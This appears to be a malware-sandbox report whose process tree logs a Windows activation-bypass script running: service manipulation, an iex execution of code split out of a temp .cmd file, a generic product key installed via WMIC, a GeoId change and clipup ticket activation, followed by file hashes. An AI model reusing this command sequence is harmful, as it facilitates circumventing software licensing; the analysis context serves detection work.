C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start BITS5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query BITS5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v DependOnService5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v ErrorControl5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v Start5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start TrustedInstaller5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query TrustedInstaller5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v DependOnService5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v DisplayName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v ObjectName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v Start5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v DependOnService5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v Description5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v DisplayName5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start DoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start CryptSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start BITS5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start TrustedInstaller5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc config DoSvc start= delayed-auto5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc config wuauserv start= demand5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC5⤵
-
-
C:\Windows\System32\sc.exesc query wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso5⤵
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query DoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Start-Service DoSvc5⤵
-
-
C:\Windows\System32\sc.exesc query DoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start DoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query UsoSvc5⤵
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query CryptSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start CryptSvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query BITS5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start BITS5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query TrustedInstaller5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Start-Service TrustedInstaller5⤵
-
-
C:\Windows\System32\sc.exesc query TrustedInstaller5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start TrustedInstaller5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Start-Service wuauserv5⤵
-
-
C:\Windows\System32\sc.exesc query wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo TrustedInstaller-1058 "5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "ClipSVC-1058 sppsvc-1058"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState6⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_49734917.cmd') -split ':wpatest\:.*';iex ($f[1]);" 2>nul5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_49734917.cmd') -split ':wpatest\:.*';iex ($f[1]);"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "7" "5⤵
-
-
C:\Windows\System32\find.exefind /i "Error Found"5⤵
-
-
C:\Windows\System32\Dism.exeDISM /English /Online /Get-CurrentEdition5⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\A8DA5B3F-BDC6-4422-9978-8D5998006201\dismhost.exeC:\Users\Admin\AppData\Local\Temp\A8DA5B3F-BDC6-4422-9978-8D5998006201\dismhost.exe {DD0821C5-6309-4E5B-AFC3-FB153F4591F8}6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
-
-
-
C:\Windows\System32\cmd.execmd /c exit /b -21474672595⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v EditionID 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v EditionID6⤵
-
-
-
C:\Windows\System32\cscript.execscript //nologo C:\Windows\system32\slmgr.vbs /dlv5⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 05⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value5⤵
-
-
C:\Windows\System32\find.exefind /i "computersystem"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "0" "5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "0x800410 0x800440"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedTSReArmed"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ClipSVC\Volatile\PersistedSystemState"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm" 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm"6⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0" /f ba02fed39662 /d5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE" 2>nul5⤵
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$acl = Get-Acl '"C:\Windows\System32\spp\store\2.0"'; if ($acl.Access.Where{ $_.IdentityReference -eq 'NT SERVICE\sppsvc' -and $_.AccessControlType -eq 'Deny' -or $acl.Access.IdentityReference -notcontains 'NT SERVICE\sppsvc'}) {Exit 2}"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$acl = Get-Acl '"HKLM:\SYSTEM\WPA"'; if ($acl.Access.Where{ $_.IdentityReference -eq 'NT SERVICE\sppsvc' -and $_.AccessControlType -eq 'Deny' -or $acl.Access.IdentityReference -notcontains 'NT SERVICE\sppsvc'}) {Exit 2}"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$acl = Get-Acl '"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform"'; if ($acl.Access.Where{ $_.IdentityReference -eq 'NT SERVICE\sppsvc' -and $_.AccessControlType -eq 'Deny' -or $acl.Access.IdentityReference -notcontains 'NT SERVICE\sppsvc'}) {Exit 2}"5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v SettingsPageVisibility5⤵
-
-
C:\Windows\System32\find.exefind /i "windowsupdate"5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdateSysprepInProgress5⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /s5⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i "NoAutoUpdate DisableWindowsUpdateAccess"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo: TrustedInstaller-1058 "5⤵
-
-
C:\Windows\System32\find.exefind /i "wuauserv"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Policies\Microsoft\WindowsStore" /v DisableStoreApps5⤵
-
-
C:\Windows\System32\find.exefind /i "0x1"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "040fa323-92b1-4baf-97a2-5b67feaefddb 0724cb7d-3437-4cb7-93cb-830375d0079d 221a02da-e2a1-4b75-864c-0a4410a33fdf 2c293c26-a45a-4a2a-a350-c69a67097529 2de67392-b7a7-462a-b1ca-108dd189f588 2ffd8952-423e-4903-b993-72a1aa44cf82 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf 377333b1-8b5d-48d6-9679-1225c872d37c 3df374ef-d444-4494-a5a1-4b0d9fd0e203 3f1afc82-f8ac-4f6c-8005-1d233e606eee 49cd895b-53b2-4dc4-a5f7-b18aa019ad37 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c 4f3da0d2-271d-4508-ae81-626b60809a38 613d217f-7f13-4268-9907-1662339531cd 62f0c100-9c53-4e02-b886-a3528ddfe7f6 73111121-5638-40f6-bc11-f1d7b0d64300 7a802526-4c94-4bd1-ba14-835a1aca2120 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69 8b351c9c-f398-4515-9900-09df49427262 b0773a15-df3a-4312-9ad2-83d69648e356 bd3762d7-270d-4760-8fb3-d829ca45278a c86d5194-4840-4dae-9c1c-0301003a5ab0 d552befb-48cc-4327-8f39-47d2d94f987c d6eadb3b-5ca8-4a6b-986e-35b550756111 e7a950a2-e548-4f10-bf16-02ec848e0643 ef51e000-2659-4f25-8345-3de70a9cf4c4 fe74f55b-0338-41d6-b267-4a201abe7285 " "5⤵
-
-
C:\Windows\System32\find.exefind /i "4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c"5⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call InstallProductKey ProductKey="VK7JG-NPHTM-C97JM-9MPGT-3V66T"5⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 05⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Name 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Name6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Nation 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Nation6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Set-WinHomeLocation -GeoId 244"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("""OSMajorVersion=5;OSMinorVersion=1;OSPlatformId=2;PP=0;Pfn=Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe;PKeyIID=465145217131314304264339481117862266242033457260311819664735280;$([char]0)"""))5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("""OSMajorVersion=5;OSMinorVersion=1;OSPlatformId=2;PP=0;Pfn=Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe;PKeyIID=465145217131314304264339481117862266242033457260311819664735280;$([char]0)"""))6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "TwBTAE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuAD0ANQA7AE8AUwBNAGkAbgBvAHIAVgBlAHIAcwBpAG8AbgA9ADEAOwBPAFMAUABsAGEAdABmAG8AcgBtAEkAZAA9ADIAOwBQAFAAPQAwADsAUABmAG4APQBNAGkAYwByAG8AcwBvAGYAdAAuAFcAaQBuAGQAbwB3AHMALgA0ADgALgBYADEAOQAtADkAOAA4ADQAMQBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAOwBQAEsAZQB5AEkASQBEAD0ANAA2ADUAMQA0ADUAMgAxADcAMQAzADEAMwAxADQAMwAwADQAMgA2ADQAMwAzADkANAA4ADEAMQAxADcAOAA2ADIAMgA2ADYAMgA0ADIAMAAzADMANAA1ADcAMgA2ADAAMwAxADEAOAAxADkANgA2ADQANwAzADUAMgA4ADAAOwAAAA==" "5⤵
-
-
C:\Windows\System32\find.exefind "AAAA"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Restart-Service ClipSVC5⤵
-
-
C:\Windows\System32\ClipUp.execlipup -v -o5⤵
-
C:\Windows\System32\clipup.execlipup -v -o -ppl C:\Users\Admin\AppData\Local\Temp\temE275.tmp6⤵
- Checks SCSI registry key(s)
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "Windows 10 Pro" "5⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"5⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey<>null" call Activate5⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 05⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL) get Name /value5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Set-WinHomeLocation -GeoId 244"5⤵
-
-
C:\Windows\System32\mode.commode 76, 305⤵
-
-
C:\Windows\System32\choice.exechoice /C:123456780 /N5⤵
-
-
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\thank you triage.txt2⤵
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /02⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
-
C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s LicenseManager1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o1⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o -ppl C:\Windows\TEMP\temE16B.tmp2⤵
- Checks SCSI registry key(s)
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -s PlugPlay1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD567a8abe602fd21c5683962fa75f8c9fd
SHA1e296942da1d2b56452e05ae7f753cd176d488ea8
SHA2561d19fed36f7d678ae2b2254a5eef240e6b6b9630e5696d0f9efb8b744c60e411
SHA51270b0b27a2b89f5f771467ac24e92b6cc927f3fdc10d8cb381528b2e08f2a5a3e8c25183f20233b44b71b54ce910349c279013c6a404a1a95b3cc6b8922ab9fc6
-
Filesize
2KB
MD5c6b0a774fa56e0169ed7bb7b25c114dd
SHA1bcdba7d4ecfff2180510850e585b44691ea81ba5
SHA256b87210c4a0814394371ec7fba00fc02d9adbb22bcb1811a2abab46fdf4325da9
SHA51242295d57f735c31749235c8463ac2c31778bff46a6a16c87918440d0b2fc70d2f1f6fb10d2499105866f7022108bbda4268d2580356245bd19bbed1ee3a2c446
-
Filesize
50KB
MD52143b379fed61ab5450bab1a751798ce
SHA132f5b4e8d1387688ee5dec6b3cc6fd27b454f19e
SHA256a2c739624812ada0913f2fbfe13228e7e42a20efdcb6d5c4e111964f9b620f81
SHA5120bc39e3b666fdad76bcf4fe7e7729c9e8441aa2808173efc8030ce07c753cb5f7e25d81dd8ec75e7a5b6324b7504ff461e470023551976a2a6a415d6a4859bfa
-
Filesize
1KB
MD5e89de4c332d18482fd9893b387d6bf85
SHA18d50a6797573d96b3a4635ec917ec197344b685c
SHA2566c683595c4373e5844972d69e779508c1cee82a5331e13a681add436d81c006a
SHA512783901e68fb295c8ebfc181dea65a0a13fddb0b3e495470306231f36f0e5fcf888cdf12a7a12af0e27107d9942b3691d6a852e80b5629f2d04c8e8ca2bd9789d
-
Filesize
1KB
MD5746a7edccc7666404734b85d47efce68
SHA1f4cf9d8e9bc48821cea284e1b906021be4487cfe
SHA25635352abdb6c31287cf33e878bfdcbb15cb0d602c827fee91732353542f5e419b
SHA512b400dd9371333af83b0d5d6d21c6f0016e02f23ed00d76922019421ffe2a19e8abf3fa10b818817f614e78bef7e4c412a2a9a893699e6f6b1fc96b090e2cdc86
-
Filesize
1KB
MD5f54bd191fff1f73cf68b2e8fe869d2dc
SHA19fcc36d052c04e7fbc1792533b7f45b37180e77a
SHA256b58d5d868b7f746489434aa25e1931ad5fe24c19e194efec2e04ec8f627f5459
SHA512501388ef38537a0bb5254d90ed19ca83e2965cd60ec7b9565788929aaef562bcf0302dd59e5979e25b4315be5840622784dbf05ef64e69965222f6ec42b53b87
-
Filesize
1KB
MD5c315d749c0de225ea94e9be49bea1b65
SHA163e6a8890b0222f3bb4b503a1dfe9ad5b39c76a9
SHA25668f9ea781b655b3a93ef6ca501b9cf63f2dfdfefc981e6d5134a269c03353eb4
SHA512fa9b05e0cd661aac7b306d8720fe670f4a6cd85c17f7b8197eac1390c4329b70f19f9f01d3dc8c265acfe82ca71708a0191cced4d92f292555725ee074c5ffd0
-
Filesize
1KB
MD54dc994601095192e1012e9ebddd5ac62
SHA1358e53906f3eb2480747b1e8ef35db2b30822182
SHA25605d380ce09a1f6dc0f3a33e7700a92aac55dc7d6ff21958b046ab728ea746a3c
SHA512621915d1a5e7ec875d5dc3ae61605f3af32bd34024117fb4589cb654edea5c40cc11d28b312bc1cb251719bde9fccf5bb247bc25726d2f033a42e74e5977b92a
-
Filesize
1KB
MD5e4b85a7554365a57fca107fbcb90ab13
SHA196b8ab2427c9f9bacf21ec3323823e755be8402e
SHA256438784b751869fb3cb95b143d2431f7147ad8bca7ba8d4ba57584f1b7cd5ae77
SHA51277e6565f26a0a2593c6c3bb134370852f662d32608f3983b6aa257c88314063ed50b93ce9eee12148b89c7fbae5256e1f2512035fdea8bb2c97aa814a88df603
-
Filesize
8KB
MD5e2f5c07b4a0dfcea2600acfe5b74e04d
SHA153145f56eecffc7bf883038bc02ff43fc7728900
SHA25610fdd94659b9e39e87b337b6282782a5565882b348ab5e15cf5f22e1b5cbdb18
SHA5127158cf57550a9514a4e2c1110ece4ace1ce5820433a4ced6d5d61aa0143ec231282c361bab64309e5d945fbb478d8b4f3eef8e365aa3fda01663a377cc6b5211
-
Filesize
512KB
MD50c9f39689dbe042256de4f97a6177851
SHA1b11d1de085777364f99bf853259620fd3959da71
SHA2566bdb901b7217a7dc6a01993ac1a79313a96e3cdf42c2b4f1a35b6c5064ad8279
